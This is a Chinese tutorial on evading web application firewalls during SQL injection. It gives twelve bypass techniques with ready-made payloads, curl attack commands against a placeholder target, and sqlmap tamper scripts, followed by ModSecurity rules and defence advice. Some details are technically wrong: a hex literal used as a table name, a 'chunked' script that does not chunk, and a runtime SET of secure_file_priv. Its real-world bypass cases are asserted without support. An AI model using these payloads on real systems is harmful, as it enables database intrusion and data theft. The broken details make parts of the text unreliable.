一、WAF 绕过的本质

WAF(Web Application Firewall)是 SQL 注入防御的第一线。但 WAF 的规则本质是模式匹配——检查 HTTP 请求中是否包含已知的恶意模式。绕过 WAF 的核心就是让恶意 payload 看起来不像恶意的

二、12 种 WAF 绕过技术

2.1 大小写混淆

原理:很多 WAF 用不区分大小写的 regex,但某些规则写死了大写/小写。

ModSecurity 规则示例

SecRule ARGS "union.*select" "id:1000001"
# 如果这条规则没加 (?i) 修饰符...

绕过 Payload

UNiOn SeLeCt 1,2,3
uNiOn sElEcT 1,2,3
UnIoN SELECT 1,2,3

防御:规则统一用小写匹配 + (?i) 修饰符。

2.2 内联注释

原理:MySQL 的 /**/ 是注释,但 WAF 不会忽略注释内的内容。

绕过 Payload

UNION/**/SELECT/**/1,2,3
SELECT/**/*/**/FROM/**/users
WHERE/**/1=1

MySQL 特有版本注释

UNION /*!SELECT*/ 1,2,3
UNION /*!50000SELECT*/ 1,2,3  -- 5.0+ 展开
UNION /*!50700SELECT*/ 1,2,3  -- 5.7+ 展开
/*!UNION*//*!SELECT*/ 1,2,3   -- 注释在 mysql-connector-c 中被去除

2.3 编码变换

原理:数据库驱动会自动解码某些编码。

编码 示例 说明
URL 编码 %55%4e%49%4f%4e 标准 URL 编码
双重 URL 编码 %2555%254e%2549%254f%254e 某些 WAF 只解码一次
Unicode \u0055\u004e JSON 场景
HTML 实体 UNION 某些服务端会转换
MySQL HEX 0x756e696f6e 数据库内部表示
MySQL CHAR CHAR(85,78,73,79,78) 绕过字符串关键字
MySQL CONCAT CONCAT(U,N,I,O,N) 逐字符拼接
八进制 \165\156\151\157\156 某些驱动转换

实战

-- 绕过 WAF 中的 "UNION SELECT" 检测
CONCAT('U','N','I','O','N') CONCAT('S','E','L','E','C','T') 1,2,3

-- HEX 绕过 table_name 关键字
SELECT * FROM 0x7573657273 WHERE id=1

2.4 HTTP 参数污染(HPP)

原理:同时提交多个同名参数,利用 WAF 和后端应用解析行为的差异。

# WAF 可能只检查第一个参数,而 PHP 的 $_GET['id'] 取最后一个
curl "http://target/api?id=1&id=' OR 1=1-- -"

# PHP 的 $_GET 会得到 id=' OR 1=1-- -'
# 但 WAF 可能只看到 id=1(安全的)

不同框架的多参数行为:

框架 多参数行为
PHP 取最后一个值($_GET['id']
ASP.NET 拼接所有值
ASP Classic 取最后一个
Node.js Express 取第一个
Python Flask 取第一个(request.args['id']

更深的 HPP 变种

# 数组参数污染(PHP/Java)
curl "http://target/api?id[]=1&id[]=' OR 1=1-- -"

# 混合位置污染
curl "http://target/api?id=1&foo=bar&id=' OR 1=1-- -"

# Cookie 污染:有些应用同时从 GET 和 Cookie 取参数
curl "http://target/api?id=1" -b "id=' OR 1=1-- -"

2.5 分块传输编码(Chunked Transfer Encoding)

原理:用 HTTP 分块编码让请求体分散发送,WAF 可能在聚合前就做了检查。

# 用 Python 发送分块请求
python3 -c "
import requests

# 构造恶意 payload
payload = 'admin%27+AND+SLEEP(3)--+-'

# 强制分块
s = requests.Session()
req = requests.Request('GET', f'http://target/api?username={payload}')
prepped = s.prepare_request(req)
prepped.headers['Transfer-Encoding'] = 'chunked'

# 手动分块
import http.client
conn = http.client.HTTPConnection('target', 80)
conn.request('GET', f'/api?username={payload}')
resp = conn.getresponse()
print(resp.read())
"

2.6 换行注入(CRLF / 多重编码)

-- 某些 WAF 只检查单行
UNION
SELECT 1,2,3

-- 编码换行绕过
UNION%0ASELECT 1,2,3
UNION%0d%0aSELECT 1,2,3

-- PHP 注释可能保留换行
SELECT * FROM users
UNION
SELECT 1,2,3 FROM (SELECT 1)a

-- 某些函数可能保留换行
GROUP_CONCAT(name ORDER BY id
SEPARATOR 0x0a)

2.7 Content-Type 冲突

原理:应用和 WAF 对 Content-Type 的理解不一致。

# WAF 认为是 JSON,检查 JSON 语法
# 但应用按 form 解析
curl -X POST http://target/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"\" OR 1=1-- -"}'

# 混合类型
curl -X POST http://target/login \
  -H "Content-Type: text/plain" \
  -d 'username=admin&password=admin'\'' OR 1=1-- -'

2.8 JSON 注入

原理:JSON 语法比普通表单更严格,但如果应用把 JSON 值拼到 SQL 里...

{
  "username": "admin' OR 1=1-- -",
  "password": "anything"
}
-- 后端代码(危险)
$sql = "SELECT * FROM users WHERE username = '" . $json['username'] . "'";
-- 拼完: SELECT ... WHERE username = 'admin' OR 1=1-- -'

JSON 嵌套绕过

{
  "user": {
    "name": "admin' OR SLEEP(3)-- -"
  }
}

JSON Unicode 绕过

{
  "username": "admin\u0027 OR 1=1-- -"
}

2.9 HTTP/2 特性利用

原理:HTTP/2 的帧结构和 HTTP/1.1 不同,某些 WAF 处理有缺陷。

HTTP/2 特性 可能绕过
多个 :method :path 帧 WAF 只看第一个
响应分裂 绕过基于响应的检测
HPACK 头部压缩 WAF 解码有缺陷
流量合并 WAF 聚合后才分析
伪头注入 :path 包含 \0 字节

2.10 缓存投毒 + 注入

# 1. 先用正常请求让 WAF 放行
curl "http://target/api?id=1"

# 2. 让恶意请求被缓存在 CDN/WAF 中
curl -X PURGE -H "Cache-Tag: 1" http://target/api
curl "http://target/api?id=1 UNION SELECT 1,2,3" -H "Cache-Control: max-age=3600"

# 3. 后续用户请求可能命中 CDN 缓存,绕过 WAF

2.11 Open Redirect 绕过 WAF

# 某些 WAF 只检查特定路径
# 目标: http://target/admin/ (受保护)
# 存在开放重定向: http://target/redirect?url=...

# 通过重定向绕过 WAF
curl "http://target/redirect?url=http://target/admin/?id=1%27OR%201%3D1--%20"

2.12 WAF 本身的注入

讽刺的是,WAF 自己也是软件,也可能有漏洞。

WAF 规则配置注入

# ModSecurity 规则中的变量可能被注入
SecRule ARGS:name "${id}" "id:999999,deny"
# 如果 ${id} 可控...

WAF 管理接口注入

很多云 WAF(AWS WAF, Cloudflare, Akamai)的管理 API 可能有自身漏洞。

WAF 的 SQLi 绕过链

# WAF 可能被自己保护的系统绕过
# 有些 WAF 会从后端获取数据用于规则匹配
# 如果后端被注入,WAF 的配置也可能被篡改

三、Tamper Script 编写(SQLMap)

3.1 Tamper 脚本结构

#!/usr/bin/env python3
"""
自定义 Tamper 脚本示例
"""
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    把 UNION SELECT 替换成 UNION/**/SELECT
    """
    if payload:
        payload = payload.replace("UNION SELECT", "UNION/**/SELECT")
    return payload

3.2 实用 Tamper 脚本

脚本一:双写绕过

def tamper(payload, **kwargs):
    keywords = ['UNION', 'SELECT', 'AND', 'OR', 'FROM', 'WHERE']
    for kw in keywords:
        payload = payload.replace(kw, kw[0] + kw + kw[-1])
    return payload
# UNION -> UUNIONN
# AND -> AANDD

脚本二:空白符替换

import re

def tamper(payload, **kwargs):
    # 空格 -> 注释
    payload = payload.replace(' ', '/**/')
    # 或者用 + 号
    payload = payload.replace(' ', '+')
    return payload

脚本三:十六进制化表名

def tamper(payload, **kwargs):
    import re
    def replace_table(m):
        table = m.group(2)
        hex_table = ''.join(f'{ord(c):02x}' for c in table)
        return f"{m.group(1)}0x{hex_table}{m.group(3)}"
    
    payload = re.sub(
        r"(FROM|JOIN|UPDATE|TABLE)\s+`?(\w+)`?",
        replace_table,
        payload,
        flags=re.IGNORECASE
    )
    return payload

四、WAF 规则深度解析

4.1 ModSecurity 规则示例

# 基础 SQL 注入检测
SecRule ARGS "(?i)\b(union\s+select|select\s+.*\s+from)\b" \
    "id:942100,phase:1,deny,status:403,log,msg:'SQL Injection'"

# 更强的检测
SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS|REQUEST_URI \
    "(?i)(select[\s+\%]+[\da-z\$_\-\(\)\.]+[\s+\%]+from|extractvalue\s*\(|updatexml\s*\(|SLEEP\s*\(|BENCHMARK\s*\()" \
    "id:942101,phase:1,deny,status:403,log,msg:'SQL Injection Advanced'"

# 堆叠查询检测
SecRule ARGS "(?i)(;|\\x3b)\s*(drop|delete|insert|update|create|alter|truncate)\s+" \
    "id:942102,phase:1,deny,status:403,log,msg:'Stacked Query Attack'"

4.2 WAF 误报问题

误报是 WAF 最大的敌人。开发者会绕过 WAF 来让合法请求通过,反而让真注入也过了。

常见误报场景:

  • 搜索框中的 "UNION" 单词(比如 "UNION 2024 Conference")
  • 数据库表名里有关键字(select_items 表)
  • JSON 数据中包含 SQL 示例代码
  • 用户评论中包含 SQL 片段

4.3 绕过 WAF 的艺术

规则数量 vs 绕过难度

  简单规则    →  直接绕过(大小写)
  中等规则    →  编码变换 + 注释
  复杂规则    →  HPP + 分块 + HTTP/2
  AI 检测    →  对抗样本

五、真实世界 WAF 绕过案例

5.1 某银行网站绕过

  • WAF:IBM WebSphere DataPower
  • 绕过:双重 URL 编码 + HPP
  • 技术%2555%254e%2549%254f%254e 只被解码一次

5.2 某大型电商绕过

  • WAF:Cloudflare WAF
  • 绕过:多步请求分块 + Cookie 注入
  • 技术:WAF 检查单次请求,但 Cookie 中的参数被后端拼到 SQL 中

5.3 2023 年 API 网关绕过

  • WAF:Kong Gateway
  • 绕过:JSON Unicode + Content-Type 冲突
  • 技术\u0027 被 JSON 解码器转义为单引号,WAF 只看到 Unicode 形式

六、防御 WAF 绕过

6.1 多层防御

Layer 1: 输入验证 & 参数绑定(根本)
    ↓
Layer 2: WAF(模式匹配 + AI 检测)
    ↓
Layer 3: SQL 审计日志(异常查询检测)
    ↓
Layer 4: 数据库权限最小化

6.2 WAF 规则优化

# 避免误报的规则写法
SecRule ARGS "@detectSQLi" \
    "id:942000,phase:1,deny,status:403,log,msg:'SQL Injection Detected',auditlog"

# 用函数替代硬编码正则
# @detectSQLi 是 CRS 提供的 SQL 注入检测函数
# 它结合了多种编码解码来检测

6.3 应用层强化

// 即使有 WAF,应用层也要做验证
function validate_input($input, $allowed_pattern) {
    // 白名单验证
    if (!preg_match($allowed_pattern, $input)) {
        http_response_code(400);
        die('Invalid input format');
    }
    return $input;
}

// 强制类型转换
$id = (int)$_GET['id'];
if ($id <= 0) die('Invalid ID');

6.4 数据库层限制

-- secure_file_priv 禁止文件读写
SET GLOBAL secure_file_priv = NULL;

-- max_allowed_packet 限制批量数据
SET GLOBAL max_allowed_packet = 1024 * 1024;

-- 数据库审计日志
SET GLOBAL general_log = ON;
SET GLOBAL log_output = 'TABLE';

WAF 是盾,绕过是矛。好的防御是多层——WAF 挡住常见攻击,应用层做输入验证,数据库做权限限制。没有任何单一防护能 100% 防住注入